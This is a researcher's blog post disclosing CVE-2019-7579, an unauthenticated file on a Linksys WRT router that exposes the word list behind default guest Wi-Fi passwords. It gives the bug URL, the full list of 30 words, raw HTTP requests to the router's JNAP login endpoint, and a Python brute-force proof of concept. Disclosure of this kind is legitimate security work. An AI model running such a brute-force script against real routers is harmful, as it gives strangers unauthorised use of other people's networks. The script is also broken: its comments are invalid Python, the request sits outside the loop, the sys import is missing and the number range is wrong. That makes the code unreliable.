My second CVE, LinkSys- WRT ACS- CVE-2019-7579 (or as i call it…acceptance…no one considers security by design)

So for my second time ever I’ve submitted another CVE request for yet another security flaw within the Linksys WRT 1300 ACS router.  Before i get into the technical details I will admit i’m a bit disappointed in Linksys …or belkin…or whomever.  My assumption was that my very expensive router would have security at heart in its design and to find a second flaw…and notably one that would allow someone to break into my network and get free WiFi access is a bit annoying.  Anyways….onto the breakdown.

The Flaw

An unauthenticated user can join to the guest WiFi network presented by the router and if the guest password has not been changed they can brute force passed the captive portal login using one of a handful default passwords that are combined with a 2 digit number.

The router seems to generally suffer from a series of issues related to unauthenticated access of its base lighttpd web server.  Specifically for this issue a .js file can be reached without authentication which seems to contain the scheme for which passwords are created on the guest network of the device.

As quoted in my official CVE publication…….

“An issue was discovered on Linksys WRT1900ACS 1.0.3.187766 devices. An ability exists for an unauthenticated user to browse a confidential ui/1.0.99.187766/dynamic/js/setup.js.localized file on the router’s webserver, allowing for an attacker to identify possible passwords that the system uses to set the default guest network password. An attacker can use this list of 30 words along with a random 2 digit number to brute force their access onto a router’s guest network.”

BUG URL: http:/<guestwifiipofrouter>:10080/ui/1.0.99.187766/dynamic/js/setup.js.localized

Precanned password block

RAINIER.setup.ui.guestpassword.strings = [
“almond”,
“avocado”,
“basil”,
“banana”,
“blueberry”,
“cabbage”,
“carrot”,
“cherry”,
“cranberry”,
“cucumber”,
“garlic”,
“grape”,
“kiwi”,
“lettuce”,
“mango”,
“melon”,
“mushroom”,
“mustard”,
“nectarine”,
“olive”,
“onion”,
“pepper”,
“pineapple”,
“potato”,
“pumpkin”,
“radish”,
“raspberry”,
“strawberry”,
“tomato”,
“walnut”

I guess someone at Linksys really likes fruit and veggies

I wrote a python proof of concept to automatically take this list of canned passwords and attempt to bruce for the login.

import requests
import json

'Author: Aaron Weathersby (t0b0rx0r)
'email: t0b0rx0r[a.T] gmail [dot] com
'Twitter: @t0b0rx0r
'github: https://github.com/t0b0rX0r/security
'blog: http://www.x0rsecurity.com
'CVE: CVE-2019-7579 
'Intent of Program: To utilize a default password base along with a random 2 digit number to identify possible default guest wifi password.
'----------------------------------------
'Where to get password base (only works if user did not manually change password
'Note this request is unauthenicated
'GET /ui/1.0.99.187766/dynamic/js/setup.js.localized HTTP/1.1
'Host: 192.168.3.1:10080
'Accept-Encoding: gzip, deflate
'Accept: /
'Accept-Language: en
'User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
'Connection: close
'Referer: http://192.168.3.1:10080/ui/1.0.99.187766/dynamic/login-simple.html
'Cookie: is_cookies_enabled=null; visited-index=true
'----------------------------------------
'----------------------------------------
'POST request to attempt guest login
'POST /JNAP/ HTTP/1.1
'Host: 192.168.3.1:10080
'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
'Accept: /
'Accept-Language: en-US,en;q=0.5
'Accept-Encoding: gzip, deflate
'Referer: http://192.168.3.1:10080/ui/dynamic/guest-login.html?mac_addr=20%3A16%3Ad8%3Af6%3A53%3A8f&url=http%3A%2F%2Fwww.cnn.com%2F&ip_addr=192.168.3.136
'Content-Type: application/json; charset=UTF-8
'X-JNAP-Action: http://cisco.com/jnap/guestnetwork/Authenticate
'Expires: Fri, 10 Oct 2013 14:19:41 GMT
'Cache-Control: no-cache
'X-Requested-With: XMLHttpRequest
'Content-Length: 80
'Cookie: visited-index=true; is_cookies_enabled=null
'Connection: close
'----------------------------------
passwordBase=[
"almond",
"avocado",
"basil",
"banana",
"blueberry",
"cabbage",
"carrot",
"cherry",
"cranberry",
"cucumber",
"garlic",
"grape",
"kiwi",
"lettuce",
"mango",
"melon",
"mushroom",
"mustard",
"nectarine",
"olive",
"onion",
"pepper",
"pineapple",
"potato",
"pumpkin",
"radish",
"raspberry",
"strawberry",
"tomato",
"walnut"]

listofNumbers=range(1,99)

for x in passwordBase:
  for y in listofNumbers:

    payload={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) 
    Gecko/20100101 Firefox/52.0","Content-Type": "application/json; charset=UTF-8","X-JNAP-Action": "http://cisco.com/jnap/guestnetwork/Authenticate","X-Requested-With": "XMLHttpRequest","Cookie": "visited-index=true; is_cookies_enabled=null"}
jSON={"macAddress":"21:16:d8:f6:53:8f",'ipAddress':'192.168.3.136','password':x+str(y)}
#print(payload)


url='http://192.168.3.1:10080/JNAP/'
r = requests.post(url,headers=payload,data=json.dumps(jSON))

#data = r.json()
#print("Reponse:  ")
#print(r.text)
print("Trying... "+x+str(y))
if r.text.find("ErrorInvalidPassword") <> 13:
    print ("Found Password!")
    #print(r.text)
    print("Password is "+x+str(y))
    sys.exit(1)

But in short it takes the above list of words and attempts to find a combination + a random 2 digit number(00-99) that provides a 200 OK response

Implications

The implications for this flaw are mild. The LinkSys router makes use of an embedded linux distro combined with a software based router (zebra) and a few other tricks to isolate guest network onto its own vlan. This should provide some safety from a rouge hacker gaining access to this network. The biggest concern would be the unfettered use of your WiFi/Internet by someone who dont know and didn’t authorize to use your network.

How Did I find It?

By having too much time on my hands and scanning for accessible directories and files on the router prior to authentication (BURP, Dirbuster, GoBuster)

The CVE Process

  • 2/1/19: Requested CVE
  • 2/14/19 : Notified manufacturer of design flaw.
  • 6/8/19: No Response- Published Flaw